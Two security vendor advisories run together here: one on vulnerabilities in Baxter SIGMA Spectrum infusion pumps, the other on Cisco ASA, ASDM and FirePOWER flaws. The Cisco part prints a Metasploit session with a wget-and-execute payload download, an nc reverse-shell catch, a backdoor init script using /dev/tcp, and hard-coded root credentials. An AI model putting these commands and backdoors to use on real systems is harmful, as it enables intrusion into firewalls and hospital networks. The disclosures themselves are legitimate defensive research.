Rapid7 initially reported these issues to Baxter on April 20, 2022. Since then, members of our research team have worked alongside the vendor to discuss the impact, resolution, and a coordinated response for these vulnerabilities.
Product description
Baxter’s SIGMA Spectrum product is a commonly used brand of infusion pumps, which are typically used by hospitals to deliver medication and nutrition directly into a patient’s circulatory system. These TCP/IP-enabled devices deliver data to healthcare providers to enable more effective, coordinated care.
Credit
The vulnerabilities in two TCP/IP-enabled medical devices were discovered by Deral Heiland, Principal IoT Researcher at Rapid7. They are being disclosed in accordance with Rapid7’s vulnerability disclosure policy after coordination with the vendor.
Vendor statement
“In support of our mission to save and sustain lives, Baxter takes product security seriously. We are committed to working with the security researcher community to verify and respond to legitimate vulnerabilities and ask researchers to participate in our responsible reporting process. Software updates to disable Telnet and FTP (CVE-2022-26392) are in process. Software updates to address the format string attack (CVE-2022-26393) are addressed in WBM version 20D30 and all other WBM versions. Authentication is already available in Spectrum IQ (CVE-2022-26394). Instructions to erase all data and settings from WBMs and pumps before decommissioning and transferring to other facilities (CVE-2022-26390) are in process for incorporation into the Spectrum Operator’s Manual and are available in the Baxter Security Bulletin.”
Exploitation and remediation
This section details the potential for exploitation and our remediation guidance for the issues discovered and reported by Rapid7, so that defenders of this technology can gauge the impact of, and mitigations around, these issues appropriately.
Battery units store Wi-Fi credentials (CVE-2022-26390)
Rapid7 researchers tested Spectrum battery units for vulnerabilities. We found all units that were tested store Wi-Fi credential data in non-volatile memory on the device.
When a Wi-Fi battery unit is connected to the primary infusion pump and the infusion pump is powered up, the pump will transfer the Wi-Fi credential to the battery unit.
Exploitation
An attacker with physical access to an infusion pump could install a Wi-Fi battery unit (easily purchased on eBay), and then quickly power-cycle the infusion pump and remove the Wi-Fi battery – allowing them to walk away with critical Wi-Fi data once a unit has been disassembled and reverse-engineered.
Also, since these battery units store Wi-Fi credentials in non-volatile memory, there is a risk that when the devices are de-acquisitioned and no efforts are made to overwrite the stored data, anyone acquiring these devices on the secondary market could gain access to critical Wi-Fi credentials of the organization that de-acquisitioned the devices.
Remediation
To mitigate this vulnerability, organizations should restrict physical access by any unauthorized personnel to the infusion pumps or associated Wi-Fi battery units.
In addition, before de-acquisitioning the battery units, batteries should be plugged into a unit with invalid or blank Wi-Fi credentials configured and the unit powered up. This will overwrite the Wi-Fi credentials stored in the non-volatile memory of the batteries. Wi-Fi must be enabled on the infusion pump unit for this overwrite to work properly.
Format string vulnerabilities
“Hostmessage” (CVE-2022-26392)
When running a telnet session on the Baxter Sigma Wi-Fi Battery Firmware Version 16, the command “hostmessage” is vulnerable to format string vulnerability.
Exploitation
An attacker could trigger this format string vulnerability by entering the following command during a telnet session:
To view the output of this format string vulnerability, `settrace state=on` must be enabled in the telnet session. `set trace` does not need to be enabled for the format string vulnerability to be triggered, but it does need to be enabled if the output of the vulnerability is to be viewed.
Once `set trace` is enabled and showing output within the telnet session screen, the output of the vulnerability can be viewed, as shown below, where each `%x` returned data from the device’s process stack.
SSID (CVE-2022-26393)
Rapid7 also found another format string vulnerability on Wi-Fi battery software version 20 D29. This vulnerability is triggered within SSID processing by the `get_wifi_location (20)` command being sent via XML to the Wi-Fi battery at TCP port 51243 or UDP port 51243.
Exploitation
This format string vulnerability can be triggered by first setting up a Wi-Fi access point containing format string specifiers in the SSID. Next, an attacker could send a `get_wifi_location (20)` command via TCP Port 51243 or UDP port 51243 to the infusion pump. This causes the device to process the SSID name of the access point nearby and trigger the exploit. The results of the triggering of format strings can be viewed with trace log output within a telnet session as shown below.
The SSID of `AAAA%x%x%x%x%x%x%x%x%x%x%x%x%x%x` allows for control of 4 bytes on the stack, as shown above, using the `%x` to walk the stack until it reaches 41414141. By changing the leading `AAAA` in the SSID, a malicious actor could potentially use the format string injection to read and write arbitrary memory. At a minimum, using format strings of `%s` and `%n` could allow for a denial of service (DoS) by triggering an illegal memory read (`%s`) and/or illegal memory write (`%n`).
Note that in order to trigger this DoS effect, the attacker would need to be within normal radio range and either be on the device’s network or wait for an authorized `get_wifi_location` command (the latter would itself be a usual, non-default event).
Remediation
To prevent exploitation, organizations should restrict access to the network segments containing the infusion pumps. They should also monitor network traffic for any unauthorized host communicating over TCP and UDP port 51243 to infusion pumps. In addition, be sure to monitor Wi-Fi space for rogue access points containing format string specifiers within the SSID name.
Unauthenticated network reconfiguration via TCP/UDP (CVE-2022-26394)
All Wi-Fi battery units tested (versions 16, 17, and 20 D29) allowed for remote unauthenticated changing of the SIGMA GW IP address. The SIGMA GW setting is used for configuring the back-end communication services for the devices operation.
Exploitation
An attacker could accomplish a remote redirect of SIGMA GW by sending an XML command 15 to TCP or UDP port 51243. During testing, only the SIGMA GW IP was found to be remotely changeable using this command. An example of this command and associated structure is shown below:
This could be used by a malicious actor to man-in-the-middle (MitM) all the communication initiated by the infusion pump. This could lead to information leakage and/or data being manipulated by a malicious actor.
Remediation
Organizations using SIGMA Spectrum products should restrict access to the network segments containing the infusion pumps. They should also monitor network traffic for any unauthorized host communicating over TCP and UDP port 51243 to the infusion pumps.
UART configuration access to Wi-Fi configuration data (additional finding)
The SIGMA Spectrum infusion pump unit transmits data unencrypted to the Wi-Fi battery unit via universal asynchronous receiver-transmitter (UART). During the power-up cycle of the infusion pump, the first block of data contains the Wi-Fi configuration data. This communication contains the SSID and 64-Character hex PSK.
Exploitation
A malicious actor with physical access to an infusion pump can place a communication shim between the units (i.e., the pump and the Wi-Fi battery) and capture this data during the power-up cycle of the unit.
Remediation
To help prevent exploitation, organizations should restrict physical access by unauthorized persons to the infusion pumps and associated Wi-Fi battery units.
Note that this is merely an additional finding based on physical, hands-on access to the device. While Baxter has addressed this finding through better decommissioning advice to end users, this particular issue does not rank for its own CVE identifier, as local encryption is beyond the scope of the hardware design of the device.
Disclosure timeline
Baxter is an exemplary medical technology company with an obvious commitment to patient and hospital safety. While medtech vulnerabilities can be tricky and expensive to work through, we’re quite pleased with the responsiveness, transparency, and genuine interest shown by Baxter’s product security teams.
April, 2022: Issues discovered by Deral Heiland of Rapid7
Rapid7 discovered vulnerabilities and “non-security” issues affecting Cisco Adaptive Security Software (ASA), Adaptive Security Device Manager (ASDM), and FirePOWER Services Software for ASA. Rapid7 initially reported the issues to Cisco in separate disclosures in February and March 2022. Rapid7 and Cisco continued discussing impact and resolution of the issues through August 2022. The following table lists the vulnerabilities and the last current status that we were able to verify ourselves. Note: Cisco notified Rapid7 as this blog was going to press that they had released updated software. We have been unable to verify these fixes, but have marked them with ** in the table.
For information on vulnerability checks in InsightVM and Nexpose, please see the Rapid7 customers section at the end of this blog.
Description
Identifier
Status
Cisco ASDM binary packages are not signed. A malicious ASDM package can be installed on a Cisco ASA resulting in arbitrary code execution on any client system that connects to the ASA via ASDM.
The Cisco ASDM client does not verify the server’s SSL certificate, which makes it vulnerable to man-in-the-middle (MITM) attacks.
None
Not fixed
Cisco ASDM client sometimes logs credentials to a local log file. Cisco indicated this was a duplicate issue, although they updated CVE-2022-20651’s affected versions to include the version Rapid7 reported and issued a new release of ASDM (7.17.1.155) in June.
Cisco ASDM client is affected by an unauthenticated remote code execution vulnerability. The issue was originally reported by Malcolm Lashley and was disclosed without a fix by Cisco in July 2021. Cisco reported this issue was fixed in ASDM 7.18.1.150, but Rapid7 has informed Cisco that the issue was in fact not addressed and remains unfixed. Cisco sent a new build for testing prior to publication of this blog, but because of time constraints we were unable to test it.
Cisco ASDM binary package contains an unsigned Windows installer. The ASDM client will prompt the user to execute the unsigned installer or users are expected to download the installer from the ASA and execute it. This is an interesting code execution mechanism to be used with CVE-2022-20829 or CVE-2021-1585.
Cisco ASA-X with FirePOWER Services is vulnerable to an authenticated, remote command injection vulnerability. Using this vulnerability allows an attacker to gain root access to the FirePOWER module.
Cisco FirePOWER module before 6.6.0 allowed a privileged Cisco ASA user to reset the FirePOWER module user’s password. A privileged Cisco ASA user could bypass the FirePOWER module login prompt to gain root access on the FirePOWER module.
Cisco FirePOWER module boot images before 7.0.0 allow a privileged Cisco ASA user to obtain a root shell via command injection or hard-coded credentials.
Cisco ASA with FirePOWER Services loads and executes arbitrary FirePOWER module boot images. The ASA does not restrict the use of old boot images or even the use of boot images that weren’t created by Cisco. This could result in code execution from a malicious boot image.
None
Not fixed
Some Cisco FirePOWER module boot images support the installation of unsigned FirePOWER installation packages. This could result in code execution from a malicious package.
None
Not fixed
** Denotes an advisory Cisco updated as this blog went to press.
Rapid7 will present the vulnerabilities, exploits, and tools at Black Hat USA and DEF CON on August 11 and August 13, respectively.
Product description
Cisco ASA Software is a “core operating system for the Cisco ASA Family.” Cisco ASA are widely deployed enterprise-class firewalls that also support VPN, IPS, and many other features.
Cisco ASDM is a graphical user interface for remote administration of appliances using Cisco ASA Software.
Of all the reported issues, Rapid7 believes the following to be the most critical.
CVE-2022-20829: ASDM binary package is not signed
The Cisco ASDM binary package is installed on the Cisco ASA. Administrators that use ASDM to manage their ASA download and install the Cisco ASDM Launcher on their Windows or macOS system. When the ASDM launcher connects to the ASA, it will download a large number of Java files from the ASA, load them into memory, and then pass execution to the downloaded Java.
The ASDM launcher installer, the Java class files, the ASDM web portal, and other files are all contained within the ASDM binary package distributed by Cisco. Rapid7 analyzed the format of the binary package and determined that it lacked any type of cryptographic signature to verify the package’s authenticity (see CWE-347). We discovered that we could modify the contents of an ASDM package, update a hash in the package’s header, and successfully install the package on a Cisco ASA.
The result is that an attacker can craft an ASDM package that contains malicious installers, malicious web pages, and/or malicious Java. An example of exploitation using a malicious ASDM package goes like this: An administrator using the ASDM client connects to the ASA and downloads/executes attacker-provided Java. The attacker then has access to the administrator’s system (e.g. the attacker can send themselves a reverse shell). A similar attack was executed by Slingshot APT against Mikrotik routers and the administrative tool Winbox.
The value of this vulnerability is high because the ASDM package is a distributable package. A malicious ASDM package might be installed on an ASA in a supply chain attack, installed by an insider, installed by a third-party vendor/administrator, or simply made available “for free” on the internet for administrators to discover themselves (downloading ASDM from Cisco requires a valid contract).
Rapid7 has published a tool, the way, that demonstrates extracting and rebuilding “valid” ASDM packages. The way can also generate ASDM packages with an embedded reverse shell. The following video demonstrates an administrative user triggering the reverse shell simply by connecting to the ASA.
Note: Cisco communicated on August 11, 2022 that they had released new software images that resolve CVE-2022-20829. We have not yet verified this information.
CVE-2021-1585: Failed patch
Rapid7 vulnerability research previously described exploitation of CVE-2021-1585 on AttackerKB. The vulnerability allows a man-in-the-middle or evil endpoint to execute arbitrary Java code on an ASDM administrator’s system via the ASDM launcher (similar to CVE-2022-20829). Cisco publicly disclosed this vulnerability without a patch in July 2021. However, at the time of writing, Cisco’s customer-only disclosure page for CVE-2021-1585 indicates that the vulnerability was fixed with the release of ASDM 7.18.1.150 in June 2022.
Rapid7 quickly demonstrated to Cisco that this is incorrect. Using our public exploit for CVE-2021-1585, staystaystay, Rapid7 was able to demonstrate the exploit works against ASDM 7.18.1.150 without any code changes.
The following video demonstrates downloading and installing 7.18.1.150 from an ASA and then using staystaystay to exploit the new ASDM launcher. staystaystay only received two modifications:
The version.prop file on the web server was updated to indicate the ASDM version is 8.14(1) to trigger the new loading behavior.
The file /public/jploader.jar was downloaded from the ASA and added to the staystaystay web server.
Additionally, ASDM 7.18.1.150 is still exploitable when it encounters older versions of ASDM on the ASA. The following shows that Cisco added a pop-up to the ASDM client indicating connecting to the remote ASA may be dangerous, but allows the exploitation to continue if the user clicks “Yes”:
CVE-2021-1585 is a serious vulnerability. Man-in-the-middle attacks are trivial for well-funded APT. Often they have the network position and the motive. It also does not help that ASDM does not validate the remote server’s SSL certificate and uses HTTP Basic Authentication by default (leading to password disclosure to active MITM). The fact that this vulnerability has been public and unpatched for over a year should be a concern to anyone who administers Cisco ASA using ASDM.
If Cisco did release a patch in a timely manner, it’s unclear how widely the patch would be adopted. Rapid7 scanned the internet for ASDM web portals on June 15, 2022, and examined the versions of ASDM being used in the wild. ASDM 7.18.1 had been released a week prior and less than 0.5% of internet-facing ASDM had adopted 7.18.1. Rapid7 found the most popular version of ASDM to be 7.8.2, a version that had been released in 2017.
Note: Cisco communicated on August 11, 2022 that they had released new software images that resolve CVE-2021-1585. We have not yet verified this information.
ASDM Version
Count
Cisco ASDM 7.8(2)
3202
Cisco ASDM 7.13(1)
1698
Cisco ASDM 7.15(1)
1597
Cisco ASDM 7.16(1)
1139
Cisco ASDM 7.9(2)
1070
Cisco ASDM 7.14(1)
1009
Cisco ASDM 7.8(1)
891
Cisco ASDM 7.17(1)
868
Cisco ASDM 7.12(2)
756
Cisco ASDM 7.12(1)
745
CVE-2022-20828: Remote and authenticated command injection
CVE-2022-20828 is a remote and authenticated vulnerability that allows an attacker to achieve root access on ASA-X with FirePOWER Services when the FirePOWER module is installed. To better understand what the FirePOWER module is, we reference an image from Cisco’s Cisco ASA FirePOWER Module Quick Start Guide.
The FirePOWER module is the white oval labeled “ASA FirePOWER Module Deep Packet Inspection.” The module is a Linux-based virtual machine (VM) hosted on the ASA. The VM runs Snort to classify traffic passing through the ASA. The FirePOWER module is fully networked and can access both outside and inside of the ASA, making it a fairly ideal location for an attacker to hide in or stage attacks from.
The command injection vulnerability is linked to the Cisco command line interface (CLI) session do command. In the example that follows, command session do \id`is being executed on the Cisco ASA CLI via ASDM (HTTP), and the Linux commandid` is executed within the FirePOWER module.
A reverse shell exploit for this vulnerability is small enough to be tweetable (our favorite kind of exploit). The following curl command can fit in a tweet and will generate a bash reverse shell from the FirePOWER module to 10.12.70.252:1270:
A Metasploit module has been developed to exploit this issue as well.
The final takeaway for this issue should be that exposing ASDM to the internet could be very dangerous for ASA that use the FirePOWER module. While this might be a credentialed attack, as noted previously, ASDM’s default authentication scheme discloses username and passwords to active MITM attackers. ASDM client has also recently logged credentials to file (CVE-2022-20651), is documented to support the credentials <blank>:<blank> by default (See “Start ASDM”, Step 2), and, by default, doesn’t have brute-force protections enabled. All of that makes the following a very real possibility.
In the previous section, we learned about the Cisco FirePOWER module. In this section, it’s important to know how the FirePOWER module is installed. Installation is a three-step process:
Upload and start the FirePOWER boot image.
From the boot image, download and install the FirePOWER installation package.
From the FirePOWER module VM, install the latest updates.
CSCvu90861 concerns itself with a couple of issues associated with the boot image found in step 1. The boot image, once installed and running, can be entered using the Cisco ASA command session sfr console:
As you can see, the user is presented with a very limited CLI that largely only facilitates network troubleshooting and installing the FirePOWER installation package. Credentials are required to access this CLI. These credentials are well-documented across the various versions of the FirePOWER boot image (see “Set Up the ASA SFR Boot Image, Step 1”). However, what isn’t documented is that the credentials root:cisco123 will drop you down into a root bash shell.
The FirePOWER boot image, similar to the normal FirePOWER module, is networked. It can be configured to use DHCP or a static address, but either way, it has access to inside and outside of the ASA (assuming typical wiring). Again, a perfect staging area for an attacker and a pretty good place to hide.
We also discovered a command injection vulnerability associated with the system install command that yields the same result (root access on the boot image).
We wrote two SSH-based exploits that demonstrate exploitation of the boot image. The first is a stand-alone Python script, and the second is a Metasploit module. Exploitation takes about five minutes, so Metasploit output will have to suffice on this one:
albinolobster@ubuntu:~/metasploit-framework$ ./msfconsole
______________________________________
/ it looks like you're trying to run a \
\ module /
--------------------------------------
\
\
__
/ \
| |
@ @
| |
|| |/
|| ||
|\_/|
\___/
=[ metasploit v6.2.5-dev-ed2c64bffd ]
+ -- --=[ 2228 exploits - 1172 auxiliary - 398 post ]
+ -- --=[ 863 payloads - 45 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit tip: You can pivot connections over sessions
started with the ssh_login modules
[*] Starting persistent handler(s)...
msf6 > use exploit/linux/ssh/cisco_asax_firepower_boot_root
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/ssh/cisco_asax_firepower_boot_root) > show options
Module options (exploit/linux/ssh/cisco_asax_firepower_boot_root):
Name Current Setting Required Description
---- --------------- -------- -----------
ENABLE_PASSWORD yes The enable password
IMAGE_PATH yes The path to the image on the ASA (e.g. disk0:/asasfr-5500x-boot-6.2.3-4.img
PASSWORD cisco123 yes The password for authentication
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 22 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
USERNAME cisco yes The username for authentication
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
1 Linux Dropper
msf6 exploit(linux/ssh/cisco_asax_firepower_boot_root) > set IMAGE_PATH disk0:/asasfr-5500x-boot-6.2.3-4.img
IMAGE_PATH => disk0:/asasfr-5500x-boot-6.2.3-4.img
msf6 exploit(linux/ssh/cisco_asax_firepower_boot_root) > set PASSWORD labpass1
PASSWORD => labpass1
msf6 exploit(linux/ssh/cisco_asax_firepower_boot_root) > set USERNAME albinolobster
USERNAME => albinolobster
msf6 exploit(linux/ssh/cisco_asax_firepower_boot_root) > set LHOST 10.12.70.252
LHOST => 10.12.70.252
msf6 exploit(linux/ssh/cisco_asax_firepower_boot_root) > set RHOST 10.12.70.253
RHOST => 10.12.70.253
msf6 exploit(linux/ssh/cisco_asax_firepower_boot_root) > run
[*] Started reverse TCP handler on 10.12.70.252:4444
[*] Executing Linux Dropper for linux/x86/meterpreter/reverse_tcp
[*] Using URL: http://10.12.70.252:8080/ieXiNV
[*] 10.12.70.253:22 - Attempting to login...
[+] Authenticated with the remote server
[*] Resetting SFR. Sleep for 120 seconds
[*] Booting the image... this will take a few minutes
[*] Configuring DHCP for the image
[*] Dropping to the root shell
[*] wget -qO /tmp/scOKRuCR http://10.12.70.252:8080/ieXiNV;chmod +x /tmp/scOKRuCR;/tmp/scOKRuCR;rm -f /tmp/scOKRuCR
[*] Client 10.12.70.253 (Wget) requested /ieXiNV
[*] Sending payload to 10.12.70.253 (Wget)
[*] Sending stage (989032 bytes) to 10.12.70.253
[*] Meterpreter session 1 opened (10.12.70.252:4444 -> 10.12.70.253:53445) at 2022-07-05 07:37:22 -0700
[+] Done!
[*] Command Stager progress - 100.00% done (111/111 bytes)
[*] Server stopped.
meterpreter > shell
Process 2160 created.
Channel 1 created.
uname -a
Linux asasfr 3.10.107sf.cisco-1 #1 SMP PREEMPT Fri Nov 10 17:06:45 UTC 2017 x86_64 GNU/Linux
id
uid=0(root) gid=0(root)
This attack can be executed even if the FirePOWER module is installed. The attacker can simply uninstall the FirePOWER module and start the FirePOWER boot image (although that is potentially quite obvious depending on FirePOWER usage). However, this attack seems more viable as ASA-X ages and Cisco stops releasing new rules/updates for the FirePOWER module. Organizations will likely continue using ASA-X with FirePOWER Services without FirePOWER enabled/installed simply because they are “good” Cisco routers.
Malicious FirePOWER boot image
The interesting thing about vulnerabilities (or non-security issues depending on who you are talking to) affecting the FirePOWER boot image is that the Cisco ASA has no mechanism that prevents users from loading and executing arbitrary images. Cisco removed the hard-coded credentials and command injection in FirePOWER boot images >= 7.0.0, but an attacker can still load and execute an old FirePOWER boot image that still has the vulnerabilities.
In fact, there is nothing preventing a user from booting an image of their own creation. FirePOWER boot images are just bootable Linux ISO. We wrote a tool that will generate a bootable TinyCore ISO that can be executed on the ASA. The ISO, when booted, will spawn a reverse shell out to the attacker and start an SSH server, and it comes with DOOM-ASCII installed (in case you want to play DOOM on an ASA). The generated ISO is installed on the ASA just as any FirePOWER boot image would be:
albinolobster@ubuntu:~/pinchme$ ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 [email protected][email protected]'s password:
User albinolobster logged in to ciscoasa
Logins over the last 5 days: 42. Last login: 23:41:56 UTC Jun 10 2022 from 10.0.0.28
Failed logins since the last login: 0. Last failed login: 23:41:54 UTC Jun 10 2022 from 10.0.0.28
Type help or '?' for a list of available commands.
ciscoasa> en
Password:
ciscoasa# copy http://10.0.0.28/tinycore-custom.iso disk0:/tinycore-custom.iso
Address or name of remote host [10.0.0.28]?
Source filename [tinycore-custom.iso]?
Destination filename [tinycore-custom.iso]?
Accessing http://10.0.0.28/tinycore-custom.iso...!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Writing file disk0:/tinycore-custom.iso...
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
INFO: No digital signature found
76193792 bytes copied in 18.440 secs (4232988 bytes/sec)
ciscoasa# sw-module module sfr recover configure image disk0:/tinycore-custom.iso
ciscoasa# debug module-boot
debug module-boot enabled at level 1
ciscoasa# sw-module module sfr recover boot
Module sfr will be recovered. This may erase all configuration and all data
on that device and attempt to download/install a new image for it. This may take
several minutes.
Recover module sfr? [confirm]
Recover issued for module sfr.
ciscoasa# Mod-sfr 177> ***
Mod-sfr 178> *** EVENT: Creating the Disk Image...
Mod-sfr 179> *** TIME: 15:12:04 UTC Jun 13 2022
Mod-sfr 180> ***
Mod-sfr 181> ***
Mod-sfr 182> *** EVENT: The module is being recovered.
Mod-sfr 183> *** TIME: 15:12:04 UTC Jun 13 2022
Mod-sfr 184> ***
Mod-sfr 185> ***
Mod-sfr 186> *** EVENT: Disk Image created successfully.
Mod-sfr 187> *** TIME: 15:13:42 UTC Jun 13 2022
Mod-sfr 188> ***
Mod-sfr 189> ***
Mod-sfr 190> *** EVENT: Start Parameters: Image: /mnt/disk0/vm/vm_1.img, ISO: -cdrom /mnt/disk0
Mod-sfr 191> /tinycore-custom.iso, Num CPUs: 3, RAM: 2249MB, Mgmt MAC: 00:FC:BA:44:54:31, CP MA
Mod-sfr 192> C: 00:00:00:02:00:01, HDD: -drive file=/dev/sda,cache=none,if=virtio, Dev Driver:
Mod-sfr 193> vir
Mod-sfr 194> ***
Mod-sfr 195> *** EVENT: Start Parameters Continued: RegEx Shared Mem: 0MB, Cmd Op: r, Shared Me
Mod-sfr 196> m Key: 8061, Shared Mem Size: 16, Log Pipe: /dev/ttyS0_vm1, Sock: /dev/ttyS1_vm1,
Mod-sfr 197> Mem-Path: -mem-path /hugepages
Mod-sfr 198> *** TIME: 15:13:42 UTC Jun 13 2022
Mod-sfr 199> ***
Mod-sfr 200> Status: Mapping host 0x2aab37e00000 to VM with size 16777216
Mod-sfr 201> Warning: vlan 0 is not connected to host network
Once the ISO is booted, a reverse shell is sent back to the attacker.
albinolobster@ubuntu:~$ nc -lvnp 1270
Listening on 0.0.0.0 1270
Connection received on 10.0.0.21 60579
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux box 3.16.6-tinycore #777 SMP Thu Oct 16 09:42:42 UTC 2014 i686 GNU/Linux
ifconfig
eth0 Link encap:Ethernet HWaddr 00:00:00:02:00:01
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:173 errors:0 dropped:164 overruns:0 frame:0
TX packets:14 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:9378 (9.1 KiB) TX bytes:4788 (4.6 KiB)
eth1 Link encap:Ethernet HWaddr 00:FC:BA:44:54:31
inet addr:192.168.1.17 Bcast:192.168.1.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:14 errors:0 dropped:0 overruns:0 frame:0
TX packets:11 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:1482 (1.4 KiB) TX bytes:1269 (1.2 KiB)
eth2 Link encap:Ethernet HWaddr 52:54:00:12:34:56
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:14 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:4788 (4.6 KiB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
Once again, this presents a potential social engineering issue. An attacker that is able to craft their own malicious boot image needs only to convince an administrator to install it. However, an attacker cannot pre-install the image and provide the ASA to a victim because boot images are removed every time the ASA is rebooted.
Malicious FirePOWER installation package
As mentioned previously, step two of the FirePOWER installation process is to install the FirePOWER installation package. Some FirePOWER modules support two versions of the FirePOWER installation package:
The above code is taken from the FirePOWER boot image 6.2.3. We can see it supports two formats:
Without getting into the weeds on the details, EncryptedContentSignedChksumPkgWrapper is an overly secure format, and Cisco only appears to publish FirePOWER installation packages in that format. However, the boot images also support the insecure ChcksumPkgWrapper format. So, we wrote a tool that takes in a secure FirePOWER installation package, unpackages it, inserts a backdoor, and then repackages into the insecure package format.
The newly generated FirePOWER installation package can then be installed on the ASA as it normally would. And because it contains all the official installation package content, it will appear to be a normal installation to the user. However, this installation will include the following obviously malicious init script, which will try to connect back to an attacker IP every five minutes.
#!/bin/sh
source /etc/rc.d/init.d/functions
PATH="/usr/local/bin:/usr/bin:/bin:/usr/local/sf/bin:/sbin:/usr/sbin"
xploit_start() {
(while true; do sleep 300; /bin/bash -i >& /dev/tcp/10.0.0.28/1270 0>&1; done)&
}
case "\$1" in
'start')
xploit_start
;;
*)
echo "usage $0 start|stop|restart"
esac
This malicious FirePOWER installation package is distributable via social engineering, and it can be used in supply chain attacks. The contents of the installation package survive reboots and upgrades. An attacker need only pre-install the FirePOWER module with a malicious version before providing it to the victim.
Mitigation and detection
Organizations that use Cisco ASA are urged to isolate administrative access as much as possible. That is not limited to simply, “Remove ASDM from the internet.” We’ve demonstrated a few ways malicious packages could reasonably end up on an ASA and none of those mechanisms have been patched. Isolating administrative access from potentially untrustworthy users is important.
Rapid7 has written some YARA rules to help detect exploitation or malicious packages:
February 24, 2022 – Initial disclosure of ASDM packaging issues.
February 24, 2022 – Cisco opens a case (PSIRT-0917052332) and assigns CSCwb05264 and CSCwb05291 for ASDM issues.
February 29, 2022 – Cisco informs Rapid7 they have reached out to engineering. Raises concerns regarding 60-day timeline.
March 15, 2022 – Cisco reports they are actively working on the issue.
March 22, 2022 – Initial disclosure of ASA-X with FirePOWER Services issues and ASDM logging issue.
March 23, 2022 – Cisco acknowledges ASA-X issues and assigns PSIRT-0926201709.
March 25, 2022 – Cisco discusses their views on severity scoring and proposes disclosure dates for ASDM issues.
March 29, 2022 – Rapid7 offers extension on disclosure for both PSIRT issues.
April 7, 2022 – Rapid7 asks for an update.
April 7, 20222 – ASA-X issues moved to Cisco PSIRT member handling ASDM issues.
April 8, 2022 – Cisco indicates Spring4Shell is causing delays.
April 13, 2022 – Rapid7 asks for an update.
April 14, 2022 – Cisco indicates ASA-X issues are as designed. ASDM logging issue is a duplicate. Cisco agrees to new disclosure dates, clarification on six-month timelines, Vegas talks work to push things along!
April 14, 2022 – Rapid7 inquires if Cisco is talking about the same ASA-X model.
April 20, 2022 – Rapid7 proposes a June 20, 2022 disclosure. Again asks for clarification on the ASA-X model.
April 22, 2022 – Cisco reiterates ASA-X issues are not vulnerabilities.
April 22, 2022 – Rapid7 attempts to clarify that the ASA-X issues are vulnerabilities.
April 26, 2022 – Cisco plans partial disclosure of ASDM issues around June 20.
May 06, 2022 – Cisco reiterates no timeline for ASA checking ASDM signature. Cisco again reiterates ASA-X issues are not vulnerabilities.
May 06, 2022 – Rapid7 pushes back again on the ASA-X issues.
May 10, 2022 – Rapid7 asks for clarification on what is being fixed/disclosed on June 20.
May 11, 2022 – Rapid7 asks for clarity on ASA-X timeline and what is currently being considered a vulnerability.
May 18, 2022 – Cisco clarifies what is getting fixed for issues, what will receive CVEs, what is a "hardening effort."
May 18, 2022 – Rapid7 requests CVEs, asks about patch vs disclosure release date discrepancy. Rapid7 again reiterates ASA-X findings are vulnerabilities.
May 20, 2022 – Cisco indicates CVEs will be provided soon, indicates Cisco will now publish fixes and advisories on June 21. Cisco reiterates they do not consider boot image issues vulnerabilities. Cisco asks who to credit.
May 25, 2022 – Rapid7 indicates credit to Jake Baines.
May 25, 2022 – CVE-2022-20828 and CVE-2022-20829 assigned, Cisco says their disclosure date is now June 22.
May 26, 2022 – Rapid7 agrees to June 22 Cisco disclosure, requests if there is a disclosure date for ASA side of ASDM signature fixes.
May 31, 2022 – Cisco indicates ASA side of fixes likely coming August 11.
June 09, 2022 – Rapid7 questions the usefulness of boot image hardening. Observes the ASA has no mechanism to prevent literally any bootable ISO from booting (let alone old Cisco-provided ones).
June 09, 2022 – Cisco confirms boot images are not phased out and does not consider that to be a security issue.
June 09, 2022 – Rapid7 reiterates that the ASA will boot any bootable image and that attackers could distribute malicious boot images / packages and the ASA has no mechanism to prevent that.
June 13, 2022 – Rapid7 finally examines Cisco’s assertions regarding the ASDM log password leak being a duplicate and finds it to be incorrect.
June 15, 2022 – Cisco confirms the password leak in 7.17(1) as originally reported.
June 22, 2022 – Cisco confirms password leak fix will be published in upcoming release.
June 23, 2022 – Cisco publishes advisories and bugs.
June 23, 2022 – Rapid7 asks if CVE-2021-1585 was fixed.
June 23, 2022 – Cisco says it was.
June 23, 2022 – Rapid7 says it wasn’t. Asks Cisco if we should open a new PSIRT ticket.
June 23, 2022 – Cisco indicates current PSIRT thread is fine.
June 23, 2022 – Rapid7 provides details and video.
June 23, 2022 – Cisco acknowledges.
